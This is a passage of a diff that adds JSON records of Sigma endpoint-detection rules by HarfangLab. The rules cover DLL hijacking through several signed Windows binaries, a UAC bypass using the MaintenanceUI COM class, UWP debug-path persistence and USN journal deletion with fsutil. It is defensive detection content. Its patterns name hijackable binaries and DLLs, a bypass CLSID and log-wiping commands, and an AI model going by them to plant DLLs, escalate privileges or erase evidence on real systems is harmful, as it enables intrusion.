- classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ImagingDevices.cpl'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith: '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Windows Photo Viewer\\'\n            - '?:\\Program Files\\Windows Photo Viewer\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files (x86)\\Windows Photo Viewer\\'\n            - '?:\\Program Files\\Windows Photo Viewer\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Publisher'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "36a9ea38-0c3a-4f1e-b5bb-2cd452aeb315",
+  "rule_name": "DLL Hijacking via ImagingDevices.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ImagingDevices.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-12-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "36c25c46-b03d-4900-992d-5959ebd72151",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092167Z",
+  "creation_date": "2026-03-23T11:45:34.092169Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092174Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://twitter.com/0xcarnage/status/1203882560176218113",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_sessionmsg.yml",
+  "content": "title: DLL Hijacking via SessionMsg.exe\nid: 36c25c46-b03d-4900-992d-5959ebd72151\ndescription: |\n    Detects potential Windows DLL Hijacking via SessionMsg.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://twitter.com/0xcarnage/status/1203882560176218113\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'SessionMsg.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dui70.dll'\n            - '\\duser.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "36c25c46-b03d-4900-992d-5959ebd72151",
+  "rule_name": "DLL Hijacking via SessionMsg.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via SessionMsg.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "36f7b22d-7249-442b-9be5-8c10c81df207",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077628Z",
+  "creation_date": "2026-03-23T11:45:34.077630Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077634Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/zcgonvh/TaskSchedulerMisc/blob/master/schuac.cs",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_uac_bypass_com_maintenanceui.yml",
+  "content": "title: UAC Bypass via Virtual Factory for MaintenanceUI\nid: 36f7b22d-7249-442b-9be5-8c10c81df207\ndescription: |\n    Detects the execution of the MaintenanceUI COM interface.\n    This COM interface could be used to bypass User Account Control by creating a schedule task executing a command with high privileges.\n    It is recommended to check for the execution of a suspicious schedule tasks with high privileges shortly after dllhost execution with the help of the related timeline.\nreferences:\n    - https://github.com/zcgonvh/TaskSchedulerMisc/blob/master/schuac.cs\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2024/10/08\nmodified: 2025/03/10\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        # https://strontic.github.io/xcyclopedia/library/clsid_A6BFEA43-501F-456F-A845-983D3AD7B8F0.html\n        ProcessCommandLine|contains: 'A6BFEA43-501F-456F-A845-983D3AD7B8F0'\n        ProcessImage: '?:\\Windows\\System32\\dllhost.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "36f7b22d-7249-442b-9be5-8c10c81df207",
+  "rule_name": "UAC Bypass via Virtual Factory for MaintenanceUI",
+  "rule_description": "Detects the execution of the MaintenanceUI COM interface.\nThis COM interface could be used to bypass User Account Control by creating a schedule task executing a command with high privileges.\nIt is recommended to check for the execution of a suspicious schedule tasks with high privileges shortly after dllhost execution with the help of the related timeline.\n",
+  "rule_creation_date": "2024-10-08",
+  "rule_modified_date": "2025-03-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3711f25e-4a48-4624-bed7-1c0cf1b9f994",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081946Z",
+  "creation_date": "2026-03-23T11:45:34.081948Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081952Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msconfig.yml",
+  "content": "title: DLL Hijacking via msconfig.exe\nid: 3711f25e-4a48-4624-bed7-1c0cf1b9f994\ndescription: |\n    Detects potential Windows DLL Hijacking via msconfig.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'msconfig.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\ATL.DLL'\n            - '\\bcd.dll'\n            - '\\mfc42u.dll'\n            - '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3711f25e-4a48-4624-bed7-1c0cf1b9f994",
+  "rule_name": "DLL Hijacking via msconfig.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via msconfig.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3712739d-e5f9-426a-9faa-810b9f71a278",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587345Z",
+  "creation_date": "2026-03-23T11:45:34.587348Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587356Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.intrinsec.com/apt27-analysis/",
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://cyberark-customers.force.com/s/article/Receiving-a-vf-host-error-upon-login-for-Win-10-machines",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_vfhost.yml",
+  "content": "title: DLL Hijacking via vfhost.exe\nid: 3712739d-e5f9-426a-9faa-810b9f71a278\ndescription: |\n    Detects potential Windows DLL Hijacking via vfhost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate Windows signed executable from CyberArk's Viewfinity folder to a non-standard directory and planted the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.intrinsec.com/apt27-analysis/\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://cyberark-customers.force.com/s/article/Receiving-a-vf-host-error-upon-login-for-Win-10-machines\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/10/25\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName:\n            - 'vfhost.exe'\n            - 'vf_host.exe'\n        ProcessSignature: 'CyberArk Software Ltd.'\n        ImageLoaded|endswith: 'vftrace.dll'\n    # If user has full access rights on these folders, vfhost will not execute.\n    filter_legitimate_image:\n        Image|startswith: '?:\\Program Files\\CyberArk'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith: '?:\\Program Files\\CyberArk'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Viewfinity Inc.'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3712739d-e5f9-426a-9faa-810b9f71a278",
+  "rule_name": "DLL Hijacking via vfhost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via vfhost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate Windows signed executable from CyberArk's Viewfinity folder to a non-standard directory and planted the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-10-25",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "374a5e08-3010-43b5-845f-e0fcb77c9017",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090149Z",
+  "creation_date": "2026-03-23T11:45:34.090151Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090156Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/",
+    "https://attack.mitre.org/techniques/T1546/012/"
+  ],
+  "name": "t1546_012_persistence_appx_debug_path.yml",
+  "content": "title: Windows Universal Application Persistence Added\nid: 374a5e08-3010-43b5-845f-e0fcb77c9017\ndescription: |\n    Detects the planting of a malicious debug path in universal Windows applications (UWP) known to start at logon (Cortana and People).\n    Universal Windows Platform (UWP) apps are applications designed to run across all Windows 10 and later devices, packaged in the AppX format, offering a unified development platform with security and performance features tailored for modern Windows environments.\n    Adversaries may use it to establish persistence by executing malicious content at logon.\n    It is recommended to investigate the process at the origin of the registry modification as well as the files pointed to by the registry value to determine whether this action is legitimate.\nreferences:\n    - https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/\n    - https://attack.mitre.org/techniques/T1546/012/\ndate: 2021/02/11\nmodified: 2025/01/17\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546.012\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.ConfigChange\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_set:\n        EventType: 'SetValue'\n        TargetObject|contains:\n            # HKEY_CURRENT_USER\\SOFTWARE\\Classes\\ActivatableClasses\\Package\\Microsoft.People_10.1909.12456.0_x64__8wekyb3d8bbwe\\DebugInformation\\x4c7a3b7dy2188y46d4ya362y19ac5a5805e5x.AppX368sbpk1kx658x0p332evjk2v0y02kxp.mca\\DebugPath\n            - 'HKU\\\\*\\ActivatableClasses\\Package\\Microsoft.People*\\DebugPath'\n            # HKEY_CURRENT_USER\\SOFTWARE\\Classes\\ActivatableClasses\\Package\\Microsoft.Windows.Cortana_1.10.7.17134_neutral_neutral_cw5n1h2txyewy\\DebugInformation\\CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca\\DebugPath\n            - 'HKU\\\\*\\ActivatableClasses\\Package\\Microsoft.Windows.Cortana*\\DebugPath'\n            # HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PackagedAppXDebug\\Microsoft.People_10.1909.12456.0_x64__8wekyb3d8bbwe\n            - 'HKU\\\\*\\Microsoft\\Windows\\CurrentVersion\\PackagedAppXDebug\\Microsoft.People*'\n            # HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PackagedAppXDebug\\Microsoft.Windows.Cortana_1.10.7.17134_neutral_neutral_cw5n1h2txyewy\n            - 'HKU\\\\*\\Microsoft\\Windows\\CurrentVersion\\PackagedAppXDebug\\Microsoft.Windows.Cortana*'\n\n    selection_rename:\n        EventType: 'RenameKey'\n        NewName:\n            # HKEY_CURRENT_USER\\SOFTWARE\\Classes\\ActivatableClasses\\Package\\Microsoft.People_10.1909.12456.0_x64__8wekyb3d8bbwe\\DebugInformation\\x4c7a3b7dy2188y46d4ya362y19ac5a5805e5x.AppX368sbpk1kx658x0p332evjk2v0y02kxp.mca\\DebugPath\n            - 'HKU\\\\*\\ActivatableClasses\\Package\\Microsoft.People*\\DebugPath'\n            # HKEY_CURRENT_USER\\SOFTWARE\\Classes\\ActivatableClasses\\Package\\Microsoft.Windows.Cortana_1.10.7.17134_neutral_neutral_cw5n1h2txyewy\\DebugInformation\\CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca\\DebugPath\n            - 'HKU\\\\*\\ActivatableClasses\\Package\\Microsoft.Windows.Cortana*\\DebugPath'\n            # HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PackagedAppXDebug\\Microsoft.People_10.1909.12456.0_x64__8wekyb3d8bbwe\n            - 'HKU\\\\*\\Microsoft\\Windows\\CurrentVersion\\PackagedAppXDebug\\Microsoft.People*'\n            # HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PackagedAppXDebug\\Microsoft.Windows.Cortana_1.10.7.17134_neutral_neutral_cw5n1h2txyewy\n            - 'HKU\\\\*\\Microsoft\\Windows\\CurrentVersion\\PackagedAppXDebug\\Microsoft.Windows.Cortana*'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "374a5e08-3010-43b5-845f-e0fcb77c9017",
+  "rule_name": "Windows Universal Application Persistence Added",
+  "rule_description": "Detects the planting of a malicious debug path in universal Windows applications (UWP) known to start at logon (Cortana and People).\nUniversal Windows Platform (UWP) apps are applications designed to run across all Windows 10 and later devices, packaged in the AppX format, offering a unified development platform with security and performance features tailored for modern Windows environments.\nAdversaries may use it to establish persistence by executing malicious content at logon.\nIt is recommended to investigate the process at the origin of the registry modification as well as the files pointed to by the registry value to determine whether this action is legitimate.\n",
+  "rule_creation_date": "2021-02-11",
+  "rule_modified_date": "2025-01-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1546.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "375c7801-69fe-493d-9e23-6069020b4ab2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087286Z",
+  "creation_date": "2026-03-23T11:45:34.087288Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087292Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://en.wikipedia.org/wiki/USN_Journal",
+    "https://attack.mitre.org/techniques/T1070/"
+  ],
+  "name": "t1070_fsutil_deletejournal.yml",
+  "content": "title: USN Journal Deleted\nid: 375c7801-69fe-493d-9e23-6069020b4ab2\ndescription: |\n    Detects the use of fsutil to delete the USN journal.\n    The USN journal (Update Sequence Number Journal), is a feature of the Windows NT file system (NTFS) which maintains a record of changes made to the volume.\n    The USN journal is an important forensic element.\n    Attackers can use delete the USN to eliminate evidence of malicious activities.\n    It is recommended to investigate the context of the execution and surrounding detections to determine if this action was legitimate.\nreferences:\n    - https://en.wikipedia.org/wiki/USN_Journal\n    - https://attack.mitre.org/techniques/T1070/\ndate: 2021/04/27\nmodified: 2025/02/27\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Fsutil\n    - classification.Windows.Behavior.Deletion\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\fsutil.exe'\n        - OriginalFileName: 'fsutil.exe'\n\n    selection_commandline:\n        CommandLine|contains|all:\n            - ' usn '\n            - ' deletejournal '\n\n    condition: all of selection_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "375c7801-69fe-493d-9e23-6069020b4ab2",
+  "rule_name": "USN Journal Deleted",
+  "rule_description": "Detects the use of fsutil to delete the USN journal.\nThe USN journal (Update Sequence Number Journal), is a feature of the Windows NT file system (NTFS) which maintains a record of changes made to the volume.\nThe USN journal is an important forensic element.\nAttackers can use delete the USN to eliminate evidence of malicious activities.\nIt is recommended to investigate the context of the execution and surrounding detections to determine if this action was legitimate.\n",
+  "rule_creation_date": "2021-04-27",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "37b3b3a7-8dd5-4cd9-a998-3a556640ecaa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082521Z",
+  "creation_date": "2026-03-23T11:45:34.082523Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082528Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
